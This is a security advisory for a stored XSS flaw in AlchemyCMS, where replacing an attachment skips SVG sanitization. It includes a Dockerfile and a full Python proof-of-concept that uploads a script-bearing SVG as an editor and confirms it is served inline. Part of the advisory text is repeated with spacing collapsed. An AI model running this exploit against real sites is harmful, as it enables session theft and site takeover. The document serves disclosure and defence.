Stored XSS via unsanitized SVG attachment replacement
Summary
AlchemyCMS registers its SVG sanitizer (SanitizeSvgJob, a Loofah-based scrubber) only as an after_create_commit callback on Alchemy::Attachment / Alchemy::Picture. This callback fires when a new attachment record is created, but not when an existing attachment's file is replaced through the admin "update" action. An authenticated user holding the editor role (i.e. manage Alchemy::Attachment permission, a low-privilege, non-admin role) can PATCH an existing attachment to replace its file with a malicious SVG containing <script> / onload= payloads. Because the sanitizer never runs on this path, and because AlchemyCMS explicitly configures SVG as an inline-servable content type on Active Storage, the public, unauthenticated /attachment/:id/show route streams the attacker's raw SVG payload with Content-Disposition: inline. Any visitor (including other admins) who opens the attachment URL executes attacker-controlled JavaScript in the AlchemyCMS application origin. This is a stored, privilege-crossing Cross-Site Scripting vulnerability, confirmed both by static code review and by live dynamic reproduction against an unmodified AlchemyCMS instance. CVSS 3.1 Base Score: 8.7 (High).
Details
Root cause. The SVG sanitization callback is declared only for the create lifecycle:
# app/models/alchemy/storage_adapter/active_storage.rb:11-22
base.after_create_commit if: :svg? do
SanitizeSvgJob.perform_later(self, file_accessor: :image_file)
end
...
base.after_create_commit if: :svg? do
SanitizeSvgJob.perform_later(self, file_accessor: :file)
end
SanitizeSvgJob (app/jobs/alchemy/storage_adapter/active_storage/sanitize_svg_job.rb) is the only place in the codebase that runs the Loofah-based SvgScrubber against uploaded SVG content. There is no equivalent callback for updates, and no other code path re-sanitizes a blob when it is swapped onto an existing record.
Vulnerable path. The admin attachments controller's update action replaces the underlying file without ever re-triggering the create callback:
# app/controllers/alchemy/admin/attachments_controller.rb:67-70
@attachment.update(attachment_attributes)
if attachment_attributes["file"].present?
handle_uploader_response(status: 202)
end
The permitted parameters explicitly allow the file field to be replaced (app/controllers/alchemy/admin/attachments_controller.rb:134-135, params.require(:attachment).permit(:file, ...)), and app/models/alchemy/attachment.rb:107-119 skips the file_type_allowed validation entirely whenever allowed_filetypes includes "*" — which is exactly AlchemyCMS's own default for alchemy/attachments (config/alchemy/config.yml:171-179; alchemy/pictures similarly allows svg by default).
Sink. AlchemyCMS's engine configuration explicitly opts SVG into inline serving and out of Rails/Active Storage's default "force download" protection for potentially-executable binary content:
# lib/alchemy/engine.rb:166-183
# adds svg to content_types_allowed_inline
# removes svg from content_types_to_serve_as_binary
The public, unauthenticated attachment controller then streams the blob inline:
# app/controllers/alchemy/attachments_controller.rb:57-59
http_cache_forever public: true do
response.headers["Accept-Ranges"] = "bytes"
send_blob_stream @blob, disposition: disposition
config/routes.rb:70 exposes the RESTful update action, and config/routes.rb:111-114 exposes the public show route.
Privilege analysis. app/models/alchemy/permissions.rb:161 grants the editor role manage Alchemy::Attachment (which includes replacing an attachment's file), and app/models/alchemy/permissions.rb:38 allows unauthenticated guests to view unrestricted attachments via show. This means a lower-privileged authenticated actor can plant a payload that executes in the browser of any other visitor, including higher-privileged admins — a Scope:Changed condition, matching the assigned CVSS vector.
Data flow (source → sink):
config/routes.rb:70 — resources :attachments exposes RESTful update.
app/controllers/alchemy/admin/resources_controller.rb:15-18 — resource loaded and authorized for the editor role.
app/controllers/alchemy/admin/attachments_controller.rb:67-70 — @attachment.update(attachment_attributes) accepts the replacement file.
app/controllers/alchemy/admin/attachments_controller.rb:134-135 — permit(:file, ...) allows the uploaded SVG through.
app/models/alchemy/attachment.rb:107-119 — file type validation is bypassed because default allowed_filetypes is "*".
app/models/alchemy/storage_adapter/active_storage.rb:11-22 — the SVG sanitizer callback is after_create_commit only, never invoked on update.
lib/alchemy/engine.rb:166-183 — SVG is configured for inline serving, not forced download.
config/routes.rb:111-114 and app/controllers/alchemy/attachments_controller.rb:57-59 — the public show route streams the unsanitized blob inline via send_blob_stream.
This was independently confirmed via runtime/dynamic reproduction (Phase 2): replacing an existing benign attachment with a malicious SVG returns HTTP 202, produces zero SanitizeSvgJob log lines (unlike the create path, which reliably enqueues and performs the job), and a subsequent unauthenticated GET /attachment/:id/show returns the raw <script>/onload= payload byte-for-byte with Content-Type: image/svg+xml and Content-Disposition: inline.
PoC
Environment: the project's own spec/dummy Rails app, development mode, default Active Storage adapter, unmodified AlchemyCMS engine code, real alchemy-devise authentication. See Dockerfile (build context is the repository root, containing both repo/ — the AlchemyCMS clone — and vuln-001/ — this reproduction workspace) and poc.py.
Build and run the target:
cd reports/github_web_480_AlchemyCMS__alchemy_cms
docker build -f vuln-001/Dockerfile -t alchemy-vuln001:latest .
docker run -d --name alchemy-vuln001 -p 127.0.0.1:3000:3000 alchemy-vuln001:latest
Run the PoC against it:
cd vuln-001
python3 poc.py --base-url http://127.0.0.1:3000 --container alchemy-vuln001
poc.py performs, over real HTTP against 127.0.0.1 only:
- Logs in as a seeded low-privileged
editor account (real Devise session, no cookie/session forgery).
- Control group — creates a brand-new attachment directly from a malicious SVG (
<svg onload="window.<marker>=1"><script>window.<marker>_script=1;</script></svg>) via POST /admin/attachments. The development log shows Enqueued/Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob, and the public GET /attachment/:id/show response has the <script>/onload= payload stripped — proving the sanitizer works as intended on the create path.
- Exploit — PATCH-replaces a pre-existing, benign attachment (
victim-doc) with the same malicious SVG via PATCH /admin/attachments/:id. The request returns HTTP 202. The development log for that request window contains zero occurrences of SanitizeSvgJob. A subsequent unauthenticated GET /attachment/:id/show/update.svg (no cookies at all) returns HTTP 200, Content-Type: image/svg+xml, Content-Disposition: inline; filename="update.svg", and a body containing the untouched <script>window.<marker>_script=1;</script> and onload="window.<marker>=1" payload, including the attacker-chosen canary marker.
Observed (excerpted) result:
[control-create] Enqueued / Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob
[control-show] body = <svg xmlns="http://www.w3.org/2000/svg">\n\n</svg>\n (script/onload stripped)
[exploit-update] PATCH /admin/attachments/1 -> HTTP 202
development.log for this window: 0 occurrences of "SanitizeSvgJob"
[exploit-show] GET /attachment/1/show/update.svg (anonymous) -> HTTP 200
Content-Type: image/svg+xml
Content-Disposition: inline; filename="update.svg"
body = <svg xmlns="http://www.w3.org/2000/svg" onload="window.vuln001-canary-ef9be3a8=1">
<script>window.vuln001-canary-ef9be3a8_script=1;</script>
</svg>
=== VULN-001 PoC RESULT: EXPLOIT CONFIRMED ===
Impact
This is a stored (persistent) Cross-Site Scripting vulnerability (CWE-79). An authenticated attacker holding only the editor role — a default, non-administrative role scoped to manage Alchemy::Attachment — can plant arbitrary JavaScript that executes in the browser of any user (including other editors, admins, or anonymous visitors) who opens the affected attachment's public URL. Since the payload runs in the application origin, it can be used to steal session cookies/CSRF tokens, perform actions as the victim (including a victim admin), or pivot to full site takeover. The vulnerability requires no non-default configuration: it affects the default Active Storage adapter and the default allowed_filetypes configuration for both attachments and pictures.
Reproduction artifacts
Dockerfile
# VULN-001 dynamic reproduction environment for AlchemyCMS.
#
# Boots the project's own dummy Rails app (spec/dummy) in development mode,
# with the real Active Storage adapter, the real admin authentication
# (alchemy-devise), and the real AlchemyCMS engine code unmodified.
#
# Build context MUST be the parent directory that contains both `repo/` (the
# AlchemyCMS clone) and `vuln-001/` (this reproduction workspace), e.g.:
#
# docker build -f vuln-001/Dockerfile -t alchemy-vuln001:latest .
#
# (run from reports/github_web_480_AlchemyCMS__alchemy_cms)
FROM ruby:4.0.5-slim
ARG NODE_VERSION=24
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
curl \
git \
libsqlite3-dev \
libvips \
ca-certificates \
&& curl -fsSL https://deb.nodesource.com/setup_${NODE_VERSION}.x | bash - \
&& apt-get install -y --no-install-recommends nodejs \
&& corepack enable \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /workspace
# Bring in the unmodified AlchemyCMS source tree.
COPY repo/ /workspace/
# Bring in the reproduction-only helper scripts (fixture seeding + startup).
# These never touch application source code under /workspace/app or
# /workspace/lib - they only create DB rows via the public Rails/ActiveRecord
# API, exactly like a real admin user or a db/seeds.rb file would.
COPY vuln-001/docker/ /workspace/docker/
RUN gem install bundler --no-document \
&& bundle install --jobs 4 --retry 3
RUN corepack install \
&& pnpm install --frozen-lockfile=false \
&& pnpm run build
RUN chmod +x /workspace/docker/entrypoint.sh
ENV RAILS_ENV=development
ENV ALCHEMY_STORAGE_ADAPTER=active_storage
ENV RAILS_LOG_TO_STDOUT=true
ENV RAILS_SERVE_STATIC_FILES=true
EXPOSE 3000
ENTRYPOINT ["/workspace/docker/entrypoint.sh"]
poc.py
#!/usr/bin/env python3
"""
Dynamic PoC for VULN-001 - Stored XSS via unsanitized SVG attachment replacement
(AlchemyCMS, CWE-79).
Root cause under test:
app/models/alchemy/storage_adapter/active_storage.rb registers the SVG
sanitizer (SanitizeSvgJob) only as `after_create_commit`. The admin
attachments `update` action (app/controllers/alchemy/admin/attachments_controller.rb)
replaces the attached file via `@attachment.update(attachment_attributes)`,
which never re-triggers a create callback. A malicious SVG uploaded via
*replacement* therefore reaches the public `/attachment/:id/show` route
(app/controllers/alchemy/attachments_controller.rb) completely unsanitized.
This script proves the gap dynamically, against a live container running the
unmodified AlchemyCMS dummy app (spec/dummy), over real HTTP on 127.0.0.1:
1. Logs in as a low-privileged "editor" role account (real Devise session).
2. Control group: creates a brand-new attachment directly from a malicious
SVG via the real `create` endpoint, and shows the sanitizer DOES fire
(job log line + stripped payload on the public show route).
3. Exploit: PATCH-replaces a pre-existing, benign attachment with the same
malicious SVG via the real `update` endpoint, and shows the sanitizer
job is never enqueued, and the public, *unauthenticated* show route
streams the raw <script>/onload payload back byte-for-byte.
Only 127.0.0.1 is contacted. No external services are touched.
"""
import argparse
import json
import re
import subprocess
import sys
import time
import uuid
import requests
XSS_MARKER = "vuln001-canary-" + uuid.uuid4().hex[:8]
MALICIOUS_SVG_TEMPLATE = """<svg xmlns="http://www.w3.org/2000/svg" onload="window.{marker}=1">
<script>window.{marker}_script=1;</script>
</svg>
"""
CSRF_META_RE = re.compile(r'<meta name="csrf-token" content="([^"]+)"')
AUTH_TOKEN_RE = re.compile(r'name="authenticity_token"\s+value="([^"]+)"')
def log(msg):
print(f"[poc] {msg}", flush=True)
def docker_exec(container, bash_command, timeout=120):
result = subprocess.run(
["docker", "exec", container, "bash", "-lc", bash_command],
capture_output=True,
text=True,
timeout=timeout,
)
return result.returncode, result.stdout, result.stderr
RUNNER_START = "===RUNNER_OUTPUT_START==="
RUNNER_END = "===RUNNER_OUTPUT_END==="
RUNNER_RE = re.compile(re.escape(RUNNER_START) + r"(.*?)" + re.escape(RUNNER_END), re.DOTALL)
def rails_runner(container, ruby_expr, timeout=90):
# The dev-mode file watcher (Listen) prints startup noise on stdout on every
# boot, so wrap the real value in unmistakable markers before extracting it.
wrapped = f'print("{RUNNER_START}"); print(({ruby_expr}).to_s); print("{RUNNER_END}")'
code, out, err = docker_exec(
container,
f"cd spec/dummy && bin/rails runner {json.dumps(wrapped)}",
timeout=timeout,
)
if code != 0:
raise RuntimeError(f"rails runner failed (exit {code}): {err}")
m = RUNNER_RE.search(out)
if not m:
raise RuntimeError(f"could not find runner output markers in: {out!r}")
return m.group(1).strip()
def development_log(container):
code, out, err = docker_exec(container, "cat spec/dummy/log/development.log 2>/dev/null || true")
return out
def wait_for_server(base_url, timeout=300):
deadline = time.time() + timeout
last_err = None
while time.time() < deadline:
try:
r = requests.get(f"{base_url}/admin/login", timeout=5)
if r.status_code in (200, 302):
log(f"server is up (GET /admin/login -> {r.status_code})")
return
except requests.exceptions.RequestException as exc:
last_err = exc
time.sleep(2)
raise RuntimeError(f"server never became ready at {base_url}: {last_err}")
def login(session, base_url, login_name, password):
r = session.get(f"{base_url}/admin/login")
m = AUTH_TOKEN_RE.search(r.text)
if not m:
raise RuntimeError("could not find authenticity_token on /admin/login form")
token = m.group(1)
r = session.post(
f"{base_url}/admin/login",
data={
"authenticity_token": token,
"user[login]": login_name,
"user[password]": password,
"user[remember_me]": "0",
},
)
check = session.get(f"{base_url}/admin/attachments")
if check.status_code != 200 or "/admin/login" in check.url:
raise RuntimeError(
f"login as '{login_name}' failed (post status={r.status_code}, "
f"check status={check.status_code}, final url={check.url})"
)
log(f"authenticated as editor account '{login_name}' (session cookie established)")
return check.text
def fetch_csrf_token(session, base_url):
r = session.get(f"{base_url}/admin/attachments")
m = CSRF_META_RE.search(r.text)
if not m:
raise RuntimeError("could not find csrf-token meta tag on /admin/attachments")
return m.group(1)
def poll_for_log_line(container, needle, since_len, timeout=30):
deadline = time.time() + timeout
while time.time() < deadline:
full = development_log(container)
chunk = full[since_len:]
if needle in chunk:
return chunk
time.sleep(1)
return development_log(container)[since_len:]
def assert_true(condition, message):
if not condition:
raise AssertionError(message)
log(f"OK: {message}")
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--base-url", default="http://127.0.0.1:3000")
parser.add_argument("--container", default="alchemy-vuln001")
parser.add_argument("--login", default="editor")
parser.add_argument("--password", default="EditorPass123!")
parser.add_argument("--startup-timeout", type=int, default=300)
args = parser.parse_args()
evidence = {}
malicious_svg = MALICIOUS_SVG_TEMPLATE.format(marker=XSS_MARKER)
wait_for_server(args.base_url, timeout=args.startup_timeout)
editor_session = requests.Session()
login(editor_session, args.base_url, args.login, args.password)
# ------------------------------------------------------------------
# Control group: SVG uploaded via the CREATE action IS sanitized.
# ------------------------------------------------------------------
log("=== control group: create a new attachment directly from a malicious SVG ===")
control_name = f"control-svg-{uuid.uuid4().hex[:8]}"
csrf = fetch_csrf_token(editor_session, args.base_url)
log_len_before_create = len(development_log(args.container))
r = editor_session.post(
f"{args.base_url}/admin/attachments",
data={"attachment[name]": control_name},
files={"attachment[file]": ("control.svg", malicious_svg, "image/svg+xml")},
headers={"X-CSRF-Token": csrf},
)
assert_true(r.status_code == 201, f"control create returns 201 (got {r.status_code}, body={r.text[:300]})")
evidence["control_create_status"] = r.status_code
evidence["control_create_body"] = r.text[:300]
control_id = rails_runner(
args.container,
f"Alchemy::Attachment.find_by(name: {json.dumps(control_name)})&.id",
)
assert_true(control_id.isdigit(), f"control attachment row exists in DB (id={control_id!r})")
control_id = int(control_id)
perform_chunk = poll_for_log_line(
args.container,
"Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob",
log_len_before_create,
timeout=30,
)
assert_true(
"Enqueued Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob" in perform_chunk,
"create path ENQUEUES SanitizeSvgJob (after_create_commit callback fires)",
)
assert_true(
"Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob" in perform_chunk,
"create path's SanitizeSvgJob actually completes",
)
evidence["control_job_log_excerpt"] = perform_chunk.strip()[-1500:]
control_show = requests.get(f"{args.base_url}/attachment/{control_id}/show/control.svg", timeout=15)
assert_true(control_show.status_code == 200, f"control public show returns 200 (got {control_show.status_code})")
assert_true(
"<script" not in control_show.text and "onload=" not in control_show.text,
"control (create-path) SVG IS sanitized before being served publicly",
)
evidence["control_show_status"] = control_show.status_code
evidence["control_show_content_type"] = control_show.headers.get("Content-Type")
evidence["control_show_body_sample"] = control_show.text[:400]
# ------------------------------------------------------------------
# Exploit: SVG uploaded via the UPDATE (replace) action is NOT
# sanitized, and is streamed inline to an unauthenticated viewer.
# ------------------------------------------------------------------
log("=== exploit: replace a pre-existing benign attachment with the malicious SVG ===")
victim_id = rails_runner(args.container, "Alchemy::Attachment.find_by(name: 'victim-doc')&.id")
assert_true(victim_id.isdigit(), f"pre-existing victim attachment fixture exists (id={victim_id!r})")
victim_id = int(victim_id)
baseline_show = requests.get(f"{args.base_url}/attachment/{victim_id}/show/victim-doc.txt", timeout=15)
assert_true(
"<script" not in baseline_show.text and XSS_MARKER not in baseline_show.text,
"victim attachment is benign BEFORE the attack (sanity check)",
)
csrf = fetch_csrf_token(editor_session, args.base_url)
log_len_before_update = len(development_log(args.container))
r = editor_session.patch(
f"{args.base_url}/admin/attachments/{victim_id}",
files={"attachment[file]": ("update.svg", malicious_svg, "image/svg+xml")},
headers={"X-CSRF-Token": csrf},
)
assert_true(r.status_code == 202, f"malicious update returns 202 (got {r.status_code}, body={r.text[:300]})")
evidence["exploit_update_status"] = r.status_code
evidence["exploit_update_body"] = r.text[:300]
# Give any (hypothetically) enqueued job a fair chance to run before we
# declare it absent - the async adapter runs on a background thread pool.
time.sleep(5)
update_chunk = development_log(args.container)[log_len_before_update:]
evidence["exploit_request_log_excerpt"] = update_chunk.strip()[-2000:]
assert_true(
f'PATCH "/admin/attachments/{victim_id}"' in update_chunk,
"the PATCH request actually reached AttachmentsController#update (log correlation)",
)
assert_true(
"SanitizeSvgJob" not in update_chunk,
"update path NEVER enqueues/performs SanitizeSvgJob (missing after_create_commit-only callback)",
)
anon = requests.Session() # no cookies at all - the "victim" browser
victim_show = anon.get(f"{args.base_url}/attachment/{victim_id}/show/update.svg", timeout=15)
assert_true(
victim_show.status_code == 200,
f"unauthenticated GET /attachment/{victim_id}/show succeeds (got {victim_show.status_code})",
)
assert_true(
"image/svg+xml" in victim_show.headers.get("Content-Type", ""),
f"served Content-Type is image/svg+xml (got {victim_show.headers.get('Content-Type')})",
)
assert_true(
"inline" in victim_show.headers.get("Content-Disposition", ""),
f"served Content-Disposition is inline (got {victim_show.headers.get('Content-Disposition')})",
)
assert_true("<script" in victim_show.text, "raw <script> tag survives unsanitized in the served body")
assert_true(f"onload=\"window.{XSS_MARKER}=1\"" in victim_show.text, "raw onload= handler survives unsanitized")
assert_true(XSS_MARKER in victim_show.text, "attacker-chosen canary marker is present verbatim in the response")
evidence["exploit_show_status"] = victim_show.status_code
evidence["exploit_show_content_type"] = victim_show.headers.get("Content-Type")
evidence["exploit_show_content_disposition"] = victim_show.headers.get("Content-Disposition")
evidence["exploit_show_body"] = victim_show.text
print("\n=== VULN-001 PoC RESULT: EXPLOIT CONFIRMED ===")
print(json.dumps(evidence, indent=2))
return 0
if __name__ == "__main__":
try:
sys.exit(main())
except AssertionError as exc:
print(f"\n=== VULN-001 PoC RESULT: FAILED ASSERTION ===\n{exc}", file=sys.stderr)
sys.exit(1)
except Exception as exc: # noqa: BLE001 - top-level PoC error reporting
print(f"\n=== VULN-001 PoC RESULT: ERROR ===\n{exc!r}", file=sys.stderr)
sys.exit(2)
Stored XSS via unsanitized SVG attachment replacement
Summary
AlchemyCMS registers its SVG sanitizer (
SanitizeSvgJob, a Loofah-based scrubber) only as anafter_create_commitcallback onAlchemy::Attachment/Alchemy::Picture. This callback fires when a new attachment record is created, but not when an existing attachment's file is replaced through the admin "update" action. An authenticated user holding theeditorrole (i.e.manage Alchemy::Attachmentpermission, a low-privilege, non-admin role) can PATCH an existing attachment to replace its file with a malicious SVG containing<script>/onload=payloads. Because the sanitizer never runs on this path, and because AlchemyCMS explicitly configures SVG as an inline-servable content type on Active Storage, the public, unauthenticated/attachment/:id/showroute streams the attacker's raw SVG payload withContent-Disposition: inline. Any visitor (including other admins) who opens the attachment URL executes attacker-controlled JavaScript in the AlchemyCMS application origin. This is a stored, privilege-crossing Cross-Site Scripting vulnerability, confirmed both by static code review and by live dynamic reproduction against an unmodified AlchemyCMS instance. CVSS 3.1 Base Score: 8.7 (High).Details
Root cause. The SVG sanitization callback is declared only for the create lifecycle:
SanitizeSvgJob(app/jobs/alchemy/storage_adapter/active_storage/sanitize_svg_job.rb) is the only place in the codebase that runs the Loofah-basedSvgScrubberagainst uploaded SVG content. There is no equivalent callback for updates, and no other code path re-sanitizes a blob when it is swapped onto an existing record.Vulnerable path. The admin attachments controller's
updateaction replaces the underlying file without ever re-triggering the create callback:The permitted parameters explicitly allow the
filefield to be replaced (app/controllers/alchemy/admin/attachments_controller.rb:134-135,params.require(:attachment).permit(:file, ...)), andapp/models/alchemy/attachment.rb:107-119skips thefile_type_allowedvalidation entirely wheneverallowed_filetypesincludes"*"— which is exactly AlchemyCMS's own default foralchemy/attachments(config/alchemy/config.yml:171-179;alchemy/picturessimilarly allowssvgby default).Sink. AlchemyCMS's engine configuration explicitly opts SVG into inline serving and out of Rails/Active Storage's default "force download" protection for potentially-executable binary content:
The public, unauthenticated attachment controller then streams the blob inline:
config/routes.rb:70exposes the RESTfulupdateaction, andconfig/routes.rb:111-114exposes the publicshowroute.Privilege analysis.
app/models/alchemy/permissions.rb:161grants theeditorrolemanage Alchemy::Attachment(which includes replacing an attachment's file), andapp/models/alchemy/permissions.rb:38allows unauthenticated guests to view unrestricted attachments viashow. This means a lower-privileged authenticated actor can plant a payload that executes in the browser of any other visitor, including higher-privileged admins — a Scope:Changed condition, matching the assigned CVSS vector.Data flow (source → sink):
config/routes.rb:70—resources :attachmentsexposes RESTfulupdate.app/controllers/alchemy/admin/resources_controller.rb:15-18— resource loaded and authorized for theeditorrole.app/controllers/alchemy/admin/attachments_controller.rb:67-70—@attachment.update(attachment_attributes)accepts the replacement file.app/controllers/alchemy/admin/attachments_controller.rb:134-135—permit(:file, ...)allows the uploaded SVG through.app/models/alchemy/attachment.rb:107-119— file type validation is bypassed because defaultallowed_filetypesis"*".app/models/alchemy/storage_adapter/active_storage.rb:11-22— the SVG sanitizer callback isafter_create_commitonly, never invoked on update.lib/alchemy/engine.rb:166-183— SVG is configured for inline serving, not forced download.config/routes.rb:111-114andapp/controllers/alchemy/attachments_controller.rb:57-59— the publicshowroute streams the unsanitized blob inline viasend_blob_stream.This was independently confirmed via runtime/dynamic reproduction (Phase 2): replacing an existing benign attachment with a malicious SVG returns HTTP 202, produces zero
SanitizeSvgJoblog lines (unlike thecreatepath, which reliably enqueues and performs the job), and a subsequent unauthenticatedGET /attachment/:id/showreturns the raw<script>/onload=payload byte-for-byte withContent-Type: image/svg+xmlandContent-Disposition: inline.PoC
Environment: the project's own
spec/dummyRails app, development mode, default Active Storage adapter, unmodified AlchemyCMS engine code, realalchemy-deviseauthentication. SeeDockerfile(build context is the repository root, containing bothrepo/— the AlchemyCMS clone — andvuln-001/— this reproduction workspace) andpoc.py.Build and run the target:
Run the PoC against it:
cd vuln-001 python3 poc.py --base-url http://127.0.0.1:3000 --container alchemy-vuln001poc.pyperforms, over real HTTP against127.0.0.1only:editoraccount (real Devise session, no cookie/session forgery).<svg onload="window.<marker>=1"><script>window.<marker>_script=1;</script></svg>) viaPOST /admin/attachments. The development log showsEnqueued/Performed Alchemy::StorageAdapter::ActiveStorage::SanitizeSvgJob, and the publicGET /attachment/:id/showresponse has the<script>/onload=payload stripped — proving the sanitizer works as intended on the create path.victim-doc) with the same malicious SVG viaPATCH /admin/attachments/:id. The request returns HTTP 202. The development log for that request window contains zero occurrences ofSanitizeSvgJob. A subsequent unauthenticatedGET /attachment/:id/show/update.svg(no cookies at all) returns HTTP 200,Content-Type: image/svg+xml,Content-Disposition: inline; filename="update.svg", and a body containing the untouched<script>window.<marker>_script=1;</script>andonload="window.<marker>=1"payload, including the attacker-chosen canary marker.Observed (excerpted) result:
Impact
This is a stored (persistent) Cross-Site Scripting vulnerability (CWE-79). An authenticated attacker holding only the
editorrole — a default, non-administrative role scoped tomanage Alchemy::Attachment— can plant arbitrary JavaScript that executes in the browser of any user (including other editors, admins, or anonymous visitors) who opens the affected attachment's public URL. Since the payload runs in the application origin, it can be used to steal session cookies/CSRF tokens, perform actions as the victim (including a victim admin), or pivot to full site takeover. The vulnerability requires no non-default configuration: it affects the default Active Storage adapter and the defaultallowed_filetypesconfiguration for both attachments and pictures.Reproduction artifacts
Dockerfilepoc.py